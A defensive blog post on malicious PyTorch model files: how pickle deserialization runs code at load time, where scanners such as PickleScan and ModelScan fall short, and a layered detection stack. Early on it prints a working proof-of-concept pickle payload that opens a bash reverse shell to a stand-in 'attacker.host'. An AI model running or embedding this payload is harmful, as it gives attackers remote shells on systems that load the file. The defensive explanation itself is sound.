Malicious Model File Detection: Auditing ML Models

Malicious model file detection is not a theoretical concern. Pull a PyTorch checkpoint from a public repository without scanning it first and you may execute attacker-controlled Python code before your training loop runs a single forward pass. The threat is built into the serialization format itself, not injected at inference time. The mechanism is dissected in unsafe model deserialization and the pickle CVEs.

This post covers the attack surface, what the current generation of scanners catches and misses, and a layered detection posture that actually holds under adversarial conditions.

The Attack Surface: Serialization as Code Execution

Python’s pickle module serializes arbitrary Python objects by recording the operations needed to reconstruct them. On deserialization, those operations run. There is no sandbox. Calling torch.load() on an untrusted file is equivalent to executing an untrusted script with whatever privileges your process holds.

JFrog’s security research found roughly 95 percent of the malicious models they identified on Hugging Face in 2024 used PyTorch’s pickle-based format. Observed payloads included system fingerprinting, credential harvesting, and reverse shells — all triggered silently at load time. A large-scale academic study of 10,528 Hugging Face models found 96 percent of those using unsafe serialization APIs were exploitable, yet only 38 percent were flagged by Hugging Face’s own scanning.

The attack is trivially constructable. A minimal reverse-shell payload in a .pt file looks like this:

import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/attacker.host/4444 0>&1'",))

import torch
torch.save(Exploit(), "malicious.pt")

Any process that calls torch.load("malicious.pt") on this file spawns a shell. No model architecture, no weights, no warning. Passing weights_only=True to torch.load() restricts deserialization to tensors and safe primitives, blocking the exploit class above — but it is not the default in PyTorch versions before 2.4, and it is not a substitute for scanning files you did not produce.

The file format compounds the problem. PyTorch checkpoints are ZIP archives containing one or more pickle streams alongside tensor data. Payloads can be embedded in nested archives, spread across sharded files, or disguised using non-standard compression — all of which affect how scanners traverse the file.

Supply chain pressure makes this worse. Teams routinely pull fine-tuned checkpoints from Hugging Face Hub, modify them, and republish. HiddenLayer documented a concrete version of this in their Silent Sabotage research, where the safetensors-conversion workflow on Hugging Face could be hijacked to inject malicious code into a model that appeared to be in the safe format. The conversion process itself became the attack surface.

For a deeper look at how model supply chain attacks chain into downstream agent exploitation, the aisec.blog coverage of ML supply chain threats traces how a compromised checkpoint can propagate into an agentic pipeline.

Detection Tools and Their Limits

PickleScan is the dominant open-source scanner. It parses pickle bytecode and flags dangerous operations — specifically, calls to imports that shouldn’t appear in a legitimate model file. It is not a sandbox; it is a static analysis pass over the bytecode stream.

PickleScan has real CVEs. CVE-2025-1889, documented in the GitHub Advisory Database, demonstrates that versions prior to 0.0.22 only examine files with standard pickle extensions. Rename a malicious pickle to .bin or .pt and the scanner skips it entirely. JFrog disclosed three additional zero-days in a June 2025 research post, all rated CVSS 9.3:

• Extension bypass: non-standard file extensions evade scan scope
• ZIP CRC bypass: zeroing CRC values in the archive causes PickleScan to fail while PyTorch loads the file successfully
• Blacklist bypass: crafted bytecode evades the dangerous-import pattern list

All three were patched in PickleScan 0.0.31, released September 2025. If you are running anything older, you have no meaningful scan coverage against a prepared adversary.

ModelScan, from ProtectAI, takes a broader approach — it checks multiple model formats (Keras, TensorFlow SavedModel, PyTorch, sklearn) and aims to detect unsafe operators regardless of extension. It is more framework-agnostic than PickleScan but similarly relies on static analysis and can be evaded by obfuscation techniques that the scanner’s pattern set does not cover. Our comparison of ML vulnerability scanner software covers where each scanner class stops.

Format migration is the most durable control. The safetensors format stores only tensor data — no deserialization hooks, no Python code execution path. That is also the mitigation the public hubs lean on; see Hugging Face model supply chain risk. Trail of Bits’ analysis of pickle file attacks concludes that migrating to safetensors is the only approach that eliminates the class of vulnerability rather than detecting individual instances of it. The catch: as of 2025, roughly 44.9 percent of popular models on Hugging Face Hub still ship in pickle-based formats, so format gating alone blocks a large fraction of available checkpoints.

A Practical Detection Stack

No single control is sufficient. A defensible pipeline uses controls at multiple layers:

1. Scan before any load. Run PickleScan >= 0.0.31 or ModelScan on every downloaded checkpoint before it touches your Python runtime. This is a pre-load gate, not a post-hoc audit. Integrate it into your artifact retrieval script so no file reaches torch.load() without a scan result.

2. Prefer safetensors. When a safetensors variant of a model exists, use it. Convert pickle checkpoints to safetensors in an isolated environment (network-isolated VM or container with no outbound access) before promoting them to your model registry. Be precise about what that buys you: model file format security sets out which formats remove the code-execution sink, which only move it into a C parser, and why the shard index becomes the next thing to validate.

3. Hash-pin and verify provenance. Download models by commit SHA or content hash, not by tag or latest pointer. Verify the hash against a known-good record. This blocks the class of attack where a legitimate model is replaced in-place with a malicious version. sentryml.com’s model registry and lineage tooling covers the MLOps side of this — immutable artifact storage with provenance tracking is the operational complement to file-level scanning.

4. Set weights_only=True on every torch.load() call. This is a PyTorch-native control that restricts the unpickler to tensors and a safe set of primitive types, blocking the code-execution payload class entirely. It became the default in PyTorch 2.4; on earlier versions you must set it explicitly or export TORCH_FORCE_WEIGHTS_ONLY_LOAD=1. Be aware that some checkpoints bundle non-tensor objects (optimizer state, custom classes) and will raise on strict loading — treat those as requiring additional vetting, not as a reason to disable the flag.

5. Load in an isolated process. Even with scanning, load untrusted models in a subprocess with reduced privileges and no outbound network access. If the payload fires despite your scanner, the blast radius is constrained to a sandboxed process rather than your training infrastructure.

6. Gate on scanner version. Pin your scanner dependencies and treat scanner version as a security-relevant dependency. The CVE-2025-1889 and JFrog disclosures both demonstrate that running an unpatched scanner gives a false sense of coverage — organizations were unknowingly passing malicious models through their pipeline while reporting clean scans.

For teams building detection into ML pipelines at scale, guardml.io’s coverage of defensive tooling for AI infrastructure includes configuration guidance for integrating model scanning into CI/CD and model registry workflows.

One caveat on scope: everything above targets pickle-family artifacts. Keras archives fail differently — the payload is a layer config the loader rebuilds, and safe_mode has been bypassed repeatedly rather than scanned around. That record is in TensorFlow security vulnerabilities, and the full tooling landscape is compared in best AI supply chain security tools.